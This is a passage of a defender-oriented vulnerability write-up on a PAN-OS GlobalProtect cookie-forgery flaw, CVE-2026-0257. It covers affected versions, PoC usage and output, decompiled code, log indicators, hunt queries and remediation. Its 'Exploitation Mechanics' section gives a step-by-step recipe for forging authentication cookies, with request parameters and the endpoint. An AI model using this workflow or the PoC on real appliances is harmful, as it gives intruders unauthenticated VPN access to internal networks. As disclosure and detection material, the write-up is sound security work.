      &lt;td&gt;&amp;gt;= 12.1.4-h6 or &amp;gt;= 12.1.7&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;PAN-OS 11.2&lt;/td&gt;
      &lt;td&gt;&amp;lt; 11.2.4-h17, &amp;lt; 11.2.7-h14, &amp;lt; 11.2.10-h7, &amp;lt; 11.2.12&lt;/td&gt;
      &lt;td&gt;&amp;gt;= respective fixed builds&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;PAN-OS 11.1&lt;/td&gt;
      &lt;td&gt;&amp;lt; 11.1.4-h33, &amp;lt; 11.1.6-h32, &amp;lt; 11.1.7-h6, &amp;lt; 11.1.10-h25, &amp;lt; 11.1.13-h5, &amp;lt; 11.1.15&lt;/td&gt;
      &lt;td&gt;&amp;gt;= respective fixed builds&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;PAN-OS 10.2&lt;/td&gt;
      &lt;td&gt;&amp;lt; 10.2.7-h34, &amp;lt; 10.2.10-h36, &amp;lt; 10.2.13-h21, &amp;lt; 10.2.16-h7, &amp;lt; 10.2.18-h6&lt;/td&gt;
      &lt;td&gt;&amp;gt;= respective fixed builds&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;Prisma Access 11.2&lt;/td&gt;
      &lt;td&gt;&amp;lt; 11.2.7-h13&lt;/td&gt;
      &lt;td&gt;&amp;gt;= 11.2.7-h13&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;Prisma Access 10.2&lt;/td&gt;
      &lt;td&gt;&amp;lt; 10.2.10-h36&lt;/td&gt;
      &lt;td&gt;&amp;gt;= 10.2.10-h36&lt;/td&gt;
    &lt;/tr&gt;
  &lt;/tbody&gt;
&lt;/table&gt;

&lt;p&gt;&lt;strong&gt;Heads up on the post-patch behavior:&lt;/strong&gt; After upgrading, all existing authentication override cookies are invalidated. Every GlobalProtect user will need to re-authenticate once. This is intentional and expected. Plan for the user support load accordingly.&lt;/p&gt;

&lt;hr /&gt;

&lt;h2 id=&quot;proof-of-concept-details&quot;&gt;Proof-of-Concept Details&lt;/h2&gt;

&lt;p&gt;Rapid7 Labs published a working PoC as part of their disclosure. The script (&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;forge_cookie.py&lt;/code&gt;) is available at &lt;a href=&quot;https://github.com/sfewer-r7/CVE-2026-0257&quot;&gt;sfewer-r7/CVE-2026-0257&lt;/a&gt; on GitHub.&lt;/p&gt;

&lt;p&gt;The tool is built for defender validation, not attacker tooling. It retrieves the TLS certificate chain from the target, iterates over each certificate’s public key, and attempts to forge a valid authentication override cookie with each one. If the device is misconfigured in the way CVE-2026-0257 requires, one of those forged cookies will be accepted and a VPN session will be established.&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;$ python3 forge_cookie.py --target 192.168.86.99 --user haxor
[*] Retrieving certificate chain from 192.168.86.99:443 ...
  Found 2 certificate(s) in chain:
  [0] CN=192.168.86.99 (RSA 2048 bits, CA=False)
  [1] CN=GP-Lab-CA (RSA 2048 bits, CA=True)

[*] Forging cookie for user &apos;haxor&apos;, testing each key

  Trying [0] CN=192.168.86.99
  [-] Failure - Gateway did not accepted the forged cookie
  [-] Failure - Portal did not accepted the forged cookie

  Trying [1] CN=GP-Lab-CA
  [+] Success - Gateway accepted the forged cookie
  Cookie: ng9ygxlaclylNXeSHcakXZPK06Fno0svVirz6RhRtA5mDmOaZy...
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;The second certificate in that chain, the CA certificate, is the one shared with the HTTPS service. The gateway accepted a cookie signed with its own CA’s public key because it never verified that the cookie came from a source it should trust. It only verified that the decryption worked.&lt;/p&gt;

&lt;p&gt;Usage options let you specify target username, domain, host ID, client OS, client IP, and whether to test against a portal, gateway, or both. Attackers in the wild used &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;admin&lt;/code&gt; as the target username in observed exploitation, which makes sense: shoot for the highest-privilege local account first.&lt;/p&gt;

&lt;hr /&gt;

&lt;h2 id=&quot;exploitation-mechanics&quot;&gt;Exploitation Mechanics&lt;/h2&gt;

&lt;p&gt;Let’s talk about what is actually happening here, because the gap between “authentication bypass” and the mechanics of why deserves more than a paragraph.&lt;/p&gt;

&lt;h3 id=&quot;the-authentication-override-feature&quot;&gt;The Authentication Override Feature&lt;/h3&gt;

&lt;p&gt;GlobalProtect supports a convenience feature: rather than requiring users to re-authenticate every time they connect, the portal or gateway can issue an encrypted cookie after a successful authentication. On subsequent connections, the user presents this cookie instead of credentials. The device decrypts it, extracts the claimed identity and session parameters, and lets them in. Think of it like a signed session token, except the signing is done with RSA encryption and there is no separate integrity mechanism layered on top.&lt;/p&gt;

&lt;p&gt;This feature is not enabled by default. When it is enabled, there are two configuration checkboxes in play: “Generate cookie for authentication override” (portal/gateway issues the cookie) and “Accept cookie for authentication override” (portal/gateway will honor a cookie on login). The vulnerability is exploitable when the second option is on and the certificate situation is wrong.&lt;/p&gt;

&lt;h3 id=&quot;the-certificate-reuse-problem&quot;&gt;The Certificate Reuse Problem&lt;/h3&gt;

&lt;p&gt;The fix for this vulnerability in isolation is clear: do not use the same certificate for authentication override cookies that you use for your HTTPS service. When you do, an attacker who can complete a TLS handshake with your GlobalProtect portal or gateway will retrieve the certificate chain. That chain contains the public key. That public key is exactly what they need to encrypt a forged cookie.&lt;/p&gt;

&lt;p&gt;Looking at the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;gpsvc&lt;/code&gt; binary (Rapid7’s analysis examined PAN-OS 10.2.8), the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;main_DecryptAppAuthCookie&lt;/code&gt; function handles incoming authentication cookies. It base64-decodes the cookie value, then runs RSA decryption using the configured private key. The decrypted content is then treated as trusted session data with no signature verification of any kind performed afterward.&lt;/p&gt;

&lt;div class=&quot;language-c highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;n&quot;&gt;error&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;__gostk&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;main_DecryptAppAuthCookie&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;
    &lt;span class=&quot;n&quot;&gt;main_GpTask_0&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;t&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;
    &lt;span class=&quot;n&quot;&gt;string&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;authCookie&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;
    &lt;span class=&quot;n&quot;&gt;string&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;privateCert&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;
    &lt;span class=&quot;n&quot;&gt;string&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;user&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;
    &lt;span class=&quot;n&quot;&gt;string&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;domain&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;
    &lt;span class=&quot;n&quot;&gt;string&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;hostId&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;
    &lt;span class=&quot;n&quot;&gt;string&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;clientOs&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;
    &lt;span class=&quot;n&quot;&gt;string&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;remoteAddr&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;
    &lt;span class=&quot;n&quot;&gt;int64&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;ts&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
  &lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;privateCert&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;len&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
  &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
    &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;retval&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;&amp;amp;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;text&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;48&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;paloaltonetworks_com_libs_common_DecryptRsaPrivateWithBase64Std&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;
                             &lt;span class=&quot;n&quot;&gt;privateCert&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;
                             &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;string&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;0LL&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;
                             &lt;span class=&quot;n&quot;&gt;authCookie&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;The function decrypts using the private key and trusts whatever comes out. There is no MAC. There is no signature. There is no challenge-response. If the decryption succeeds, the content is valid. Full stop.&lt;/p&gt;

&lt;p&gt;The attacker’s workflow to forge a cookie follows directly from this:&lt;/p&gt;

&lt;ol&gt;
  &lt;li&gt;Retrieve the TLS certificate chain from the GlobalProtect portal or gateway HTTPS endpoint&lt;/li&gt;
  &lt;li&gt;Identify the CA certificate or any certificate in the chain that is shared with the authentication override feature&lt;/li&gt;
  &lt;li&gt;Construct the expected cookie payload: username, domain, host ID, client OS, remote address, timestamp, and cookie lifetime&lt;/li&gt;
  &lt;li&gt;Encrypt that payload with the public key from the identified certificate&lt;/li&gt;
  &lt;li&gt;Base64-encode the result&lt;/li&gt;
  &lt;li&gt;Submit as the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;portal-userauthcookie&lt;/code&gt; or &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;portal-prelogonuserauthcookie&lt;/code&gt; HTTP form parameter in a POST to &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;/ssl-vpn/login.esp&lt;/code&gt;&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;The firewall decrypts it with its own private key, gets back a structurally valid payload, and treats the claimed identity as authenticated. Username is attacker-controlled. Domain is attacker-controlled. The only constraint is that the public key used for encryption must correspond to the private key configured for cookie decryption.&lt;/p&gt;

&lt;h3 id=&quot;the-cookie-structure&quot;&gt;The Cookie Structure&lt;/h3&gt;

&lt;p&gt;The authentication override cookie encodes the following fields:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;Username&lt;/li&gt;
  &lt;li&gt;Domain name&lt;/li&gt;
  &lt;li&gt;Host ID&lt;/li&gt;
  &lt;li&gt;Client OS&lt;/li&gt;
  &lt;li&gt;Remote address&lt;/li&gt;
  &lt;li&gt;Timestamp (used to enforce cookie lifetime)&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;The attacker controls all of these. In the wild, threat actors supplied &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;admin&lt;/code&gt; as the username, &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;aa:bb:cc:dd:ee:ff&lt;/code&gt; as a spoofed MAC / Host ID, and either &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;GP-CLIENT&lt;/code&gt; or &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;DESKTOP-GP01&lt;/code&gt; as the client hostname depending on the wave. The client OS was set to Linux in the first wave and Windows in the second.&lt;/p&gt;

&lt;p&gt;The timestamp matters because authentication override cookies have a configurable lifetime. If the timestamp in the forged cookie is too old relative to the configured lifetime, the gateway will reject it. Attackers just set the timestamp to current time, which costs nothing.&lt;/p&gt;

&lt;h3 id=&quot;post-authentication-vpn-access&quot;&gt;Post-Authentication VPN Access&lt;/h3&gt;

&lt;p&gt;After cookie acceptance, the flow continues like a normal GlobalProtect session. The device assigns a VPN IP address and the client can make requests to internal endpoints. Rapid7 observed POST requests to:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;/ssl-vpn/hipreport.esp&lt;/code&gt; - submits host information profile data (HIP check results)&lt;/li&gt;
  &lt;li&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;/ssl-vpn/getconfig.esp&lt;/code&gt; - retrieves VPN tunnel configuration and establishes the secure session&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;These two requests are the handshake that gets you from “authenticated” to “have an IP on the internal network.” In 8 out of 10 impacted Rapid7 MDR customers, only the cookie probe was observed without a full tunnel being established. In 2 out of 10, the attacker followed through to tunnel establishment.&lt;/p&gt;

&lt;hr /&gt;

&lt;h2 id=&quot;considerations-and-limitations-what-you-can-and-cannot-see&quot;&gt;Considerations and Limitations: What You Can and Cannot See&lt;/h2&gt;

&lt;h3 id=&quot;what-the-logs-do-and-do-not-capture&quot;&gt;What the Logs Do and Do Not Capture&lt;/h3&gt;

&lt;p&gt;GlobalProtect authentication logs record cookie-based authentications. You will see entries like this when exploitation occurs:&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;1,2026/05/18 01:51:37,010101010101,GLOBALPROTECT,0,2817,2026/05/18 01:51:37,vsys1,gateway-auth,login,Cookie,,admin,US,GP-CLIENT,104.207.144.154,0.0.0.0,0.0.0.0,0.0.0.0,aa:bb:cc:dd:ee:ff,,6.0.0,,Linux,&quot;linux-64&quot;,1,,,&quot;Auth latency: 78ms, profile: local_auth_profile&quot;,success,,0,,0,GP-Gateway,...
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;A few things worth noting in that log entry: the authentication type is explicitly &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Cookie&lt;/code&gt;. The client hostname is &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;GP-CLIENT&lt;/code&gt;. The MAC address is &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;aa:bb:cc:dd:ee:ff&lt;/code&gt;. The source IP is a Vultr-hosted address. The auth profile is &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;local_auth_profile&lt;/code&gt;. All of these are attacker-controlled and none of them are validated against anything external.&lt;/p&gt;

&lt;p&gt;This is actually the forensic story in miniature: the logs tell you that authentication happened, they tell you the claimed identity, and they tell you every parameter the attacker chose to supply. They do not tell you whether any of it is real. You already know it is not.&lt;/p&gt;

&lt;h3 id=&quot;what-is-not-left-behind&quot;&gt;What Is Not Left Behind&lt;/h3&gt;

&lt;p&gt;The forged cookie itself is not stored on the firewall in a form that persists to disk for later analysis. By the time you are doing forensics, the cookie has been decrypted, the fields have been extracted, and the session has been processed. What you have is the authentication log entry, not the raw cryptographic artifact.&lt;/p&gt;

&lt;p&gt;There is no file written. There is no command executed. There is no payload dropped. A successful exploitation of CVE-2026-0257 in its basic form is purely a network-layer event: a specially crafted HTTPS POST that the firewall processes as a normal VPN authentication. If the attacker chooses to stop after probing (8 out of 10 customers in the Rapid7 data), your primary evidence of the event is the GlobalProtect authentication log showing a successful cookie login from an unusual source.&lt;/p&gt;

&lt;p&gt;For the 2 out of 10 cases where tunnel establishment followed, you also get network traffic from the assigned VPN IP. Whether your network monitoring captures that traffic, and to what depth, determines how much you understand about what the attacker did after they got in.&lt;/p&gt;

&lt;h3 id=&quot;the-cvss-mismatch-problem&quot;&gt;The CVSS Mismatch Problem&lt;/h3&gt;

&lt;p&gt;The original 4.7 score reflects a technically constrained scenario: configuration-dependent, no lateral movement observed, access to the network segment rather than a specific target. But GlobalProtect is a VPN appliance. Its entire purpose is to be the boundary between the public internet and your internal network. An unauthenticated remote attacker with a working forged cookie is now inside that boundary.&lt;/p&gt;

&lt;p&gt;The “medium severity” framing does not survive contact with reality. Every organization that runs GlobalProtect for remote access has made it network-accessible from the internet by design. This is not a vulnerability in a backend service protected by layers. It is the front door.&lt;/p&gt;

&lt;h3 id=&quot;forensic-visibility-after-the-fact&quot;&gt;Forensic Visibility After the Fact&lt;/h3&gt;

&lt;p&gt;If you are trying to determine whether you were compromised prior to detection:&lt;/p&gt;

&lt;p&gt;The GlobalProtect logs are your primary artifact. The relevant fields are auth type (&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Cookie&lt;/code&gt;), source IP, client hostname, MAC address, and username. For exploitation using the public tooling, you are looking for logins from unusual source IPs with &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;admin&lt;/code&gt; as the username, &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;aa:bb:cc:dd:ee:ff&lt;/code&gt; as the MAC, and either &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;GP-CLIENT&lt;/code&gt; or &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;DESKTOP-GP01&lt;/code&gt; as the client hostname.&lt;/p&gt;

&lt;p&gt;The limitation is that none of these fields are validated. A careful attacker can supply plausible-looking values. A fake cookie with a legitimate-looking hostname and a MAC address that matches an expected device format blends into normal authentication traffic. The authentication latency field in the log might be marginally different from legitimate cookie logins, but this is a very weak signal and not reliable.&lt;/p&gt;

&lt;p&gt;If the attacker moved laterally from the VPN IP, that activity happens on your internal network and is captured by whatever monitoring you have there, not by the firewall. The firewall’s job ended when it handed out a VPN session.&lt;/p&gt;

&lt;hr /&gt;

&lt;h2 id=&quot;detection-and-hunting&quot;&gt;Detection and Hunting&lt;/h2&gt;

&lt;h3 id=&quot;primary-detection-globalprotect-authentication-logs&quot;&gt;Primary Detection: GlobalProtect Authentication Logs&lt;/h3&gt;

&lt;p&gt;The known attacker behavior from in-the-wild exploitation gives you specific hunt queries. The indicators are attacker-controlled, so they can change. Use them as a starting point, not a definitive signal set.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Known attacker IOCs (from Rapid7’s observed exploitation):&lt;/strong&gt;&lt;/p&gt;

&lt;table&gt;
  &lt;thead&gt;
    &lt;tr&gt;
      &lt;th&gt;Indicator&lt;/th&gt;
      &lt;th&gt;Type&lt;/th&gt;
      &lt;th&gt;Description&lt;/th&gt;
    &lt;/tr&gt;
  &lt;/thead&gt;
  &lt;tbody&gt;
    &lt;tr&gt;
      &lt;td&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;104.207.144.154&lt;/code&gt;&lt;/td&gt;
      &lt;td&gt;IPv4&lt;/td&gt;
      &lt;td&gt;Wave 1 source IP (Vultr)&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;146.19.216.119&lt;/code&gt;&lt;/td&gt;
      &lt;td&gt;IPv4&lt;/td&gt;
      &lt;td&gt;Wave 2 source IP (Dromatics Systems)&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;146.19.216.120&lt;/code&gt;&lt;/td&gt;
      &lt;td&gt;IPv4&lt;/td&gt;
      &lt;td&gt;Wave 2 source IP (Dromatics Systems)&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;146.19.216.125&lt;/code&gt;&lt;/td&gt;
      &lt;td&gt;IPv4&lt;/td&gt;
      &lt;td&gt;Wave 2 source IP (Dromatics Systems)&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;209.99.191.137&lt;/code&gt;&lt;/td&gt;
      &lt;td&gt;IPv4&lt;/td&gt;
      &lt;td&gt;Additional TA infrastructure&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;79.130.26.202&lt;/code&gt;&lt;/td&gt;
      &lt;td&gt;IPv4&lt;/td&gt;
      &lt;td&gt;Additional TA infrastructure&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;aa:bb:cc:dd:ee:ff&lt;/code&gt;&lt;/td&gt;
      &lt;td&gt;MAC&lt;/td&gt;
      &lt;td&gt;Spoofed MAC observed in both waves&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;GP-CLIENT&lt;/code&gt;&lt;/td&gt;
      &lt;td&gt;Hostname&lt;/td&gt;
      &lt;td&gt;Fake hostname (Wave 1, Linux)&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;DESKTOP-GP01&lt;/code&gt;&lt;/td&gt;
      &lt;td&gt;Hostname&lt;/td&gt;
      &lt;td&gt;Fake hostname (Wave 2, Windows)&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Jocker&lt;/code&gt;&lt;/td&gt;
      &lt;td&gt;Hostname&lt;/td&gt;
      &lt;td&gt;Associated with 79.130.26.202&lt;/td&gt;
    &lt;/tr&gt;
  &lt;/tbody&gt;
&lt;/table&gt;

&lt;p&gt;&lt;strong&gt;Hunt logic (Palo Alto firewall GlobalProtect logs):&lt;/strong&gt;&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;# Splunk-style query for suspicious cookie authentications
index=paloalto sourcetype=pan_globalprotect
| where auth_type=&quot;Cookie&quot;
| where username=&quot;admin&quot;
| stats count by src_ip, username, client_hostname, mac_address, auth_profile, _time
| where count &amp;gt; 1 OR src_ip IN (&quot;104.207.144.154&quot;,&quot;146.19.216.119&quot;,
  &quot;146.19.216.120&quot;,&quot;146.19.216.125&quot;,&quot;209.99.191.137&quot;,&quot;79.130.26.202&quot;)
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;&lt;strong&gt;Behavioral detection without IP-based IOCs:&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Suspicious cookie auth patterns to look for regardless of IP:&lt;/p&gt;
&lt;ul&gt;
  &lt;li&gt;Cookie authentications to local admin accounts (auth profile points to local database)&lt;/li&gt;
  &lt;li&gt;Cookie authentications from IPs that have no prior credential-based authentication history on the device&lt;/li&gt;
  &lt;li&gt;MAC address &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;aa:bb:cc:dd:ee:ff&lt;/code&gt; or any all-zero or all-f pattern&lt;/li&gt;
  &lt;li&gt;Client hostnames that do not match your expected endpoint naming conventions&lt;/li&gt;
  &lt;li&gt;Cookie authentication followed immediately by requests to &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;/ssl-vpn/hipreport.esp&lt;/code&gt; and &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;/ssl-vpn/getconfig.esp&lt;/code&gt; from a new source IP&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;strong&gt;Rapid7 detection rules (for InsightIDR / MDR customers):&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
  &lt;li&gt;Suspicious Authentication - Palo Alto GlobalProtect Cookie Authentication to Local Admin Account&lt;/li&gt;
  &lt;li&gt;Threat Intel (Rapid7 MDR SOC/IR) - VPN Authentication via Spoofed MAC Address&lt;/li&gt;
  &lt;li&gt;Suspicious VPN Authentication - Palo Alto GlobalProtect Login via Default Hostname&lt;/li&gt;
  &lt;li&gt;Suspicious VPN Authentication - Local Account Logon via Generic Non-Human Identity&lt;/li&gt;
  &lt;li&gt;Suspicious Authentication - Vultr&lt;/li&gt;
  &lt;li&gt;Suspicious Authentication - Dromatics Systems&lt;/li&gt;
&lt;/ul&gt;

&lt;h3 id=&quot;checking-if-you-are-vulnerable-before-hunting&quot;&gt;Checking If You Are Vulnerable Before Hunting&lt;/h3&gt;

&lt;p&gt;Before hunting for exploitation, check if your configuration is even vulnerable. Rapid7’s &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;forge_cookie.py&lt;/code&gt; can tell you quickly:&lt;/p&gt;

&lt;div class=&quot;language-bash highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;c&quot;&gt;# Run the PoC against your own appliance in a test window&lt;/span&gt;
python3 forge_cookie.py &lt;span class=&quot;nt&quot;&gt;--target&lt;/span&gt; &amp;lt;your_gp_ip&amp;gt; &lt;span class=&quot;nt&quot;&gt;--user&lt;/span&gt; testuser &lt;span class=&quot;nt&quot;&gt;--verbose&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;If any certificate in your chain produces a successful cookie, you are vulnerable. This is the fastest way to understand your exposure without waiting for a full audit.&lt;/p&gt;

&lt;p&gt;To check manually in the management UI:&lt;/p&gt;
&lt;ul&gt;
  &lt;li&gt;Portal: Network &amp;gt; GlobalProtect &amp;gt; Portals &amp;gt; [Portal Name] &amp;gt; Agent &amp;gt; [Config Profile] &amp;gt; Authentication tab&lt;/li&gt;
  &lt;li&gt;Gateway: Network &amp;gt; GlobalProtect &amp;gt; Gateways &amp;gt; [Gateway Name] &amp;gt; Agent &amp;gt; Client Settings &amp;gt; [Profile] &amp;gt; Authentication Override tab&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;If either “Generate cookie for authentication override” or “Accept cookie for authentication override” is checked, and the certificate used is also used for the HTTPS service or any other feature, you are in scope.&lt;/p&gt;

&lt;hr /&gt;

&lt;h2 id=&quot;remediation-and-workarounds&quot;&gt;Remediation and Workarounds&lt;/h2&gt;

&lt;h3 id=&quot;option-1-patch-preferred&quot;&gt;Option 1: Patch (Preferred)&lt;/h3&gt;

&lt;p&gt;Upgrade to a fixed PAN-OS version per the table in the affected versions section. After patching, the authentication override cookie generation uses a more secure method. All existing cookies will be invalidated on upgrade. Users will need to re-authenticate once. This is expected behavior and a one-time event.&lt;/p&gt;

&lt;p&gt;The patch does not remove the authentication override feature. It changes the underlying cryptographic implementation so that forged cookies can no longer be constructed from a public key. Communication about the re-auth requirement to your user base before the upgrade window will prevent a helpdesk surge.&lt;/p&gt;

&lt;h3 id=&quot;option-2-use-a-dedicated-certificate-for-authentication-override-mitigation&quot;&gt;Option 2: Use a Dedicated Certificate for Authentication Override (Mitigation)&lt;/h3&gt;

&lt;p&gt;If patching immediately is not feasible, generate a certificate that is used exclusively for authentication override cookies and configure GlobalProtect to use it. This certificate must not be shared with the HTTPS service or any other feature. It should be generated fresh, not repurposed.&lt;/p&gt;

&lt;p&gt;Steps:&lt;/p&gt;
&lt;ol&gt;
  &lt;li&gt;Device &amp;gt; Certificate Management &amp;gt; Certificates &amp;gt; Generate&lt;/li&gt;
  &lt;li&gt;Create a new certificate with a name that makes its purpose obvious (e.g., &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;GP-AuthOverride-Cert&lt;/code&gt;)&lt;/li&gt;
  &lt;li&gt;Do not install it as the HTTPS/SSL/TLS certificate for the portal or gateway&lt;/li&gt;
  &lt;li&gt;Configure the portal and gateway authentication override settings to reference this new certificate&lt;/li&gt;
  &lt;li&gt;Commit and deploy&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;The public key on this certificate is never exposed via a TLS handshake to the internet. An attacker cannot retrieve it, so they cannot forge cookies encrypted with it.&lt;/p&gt;

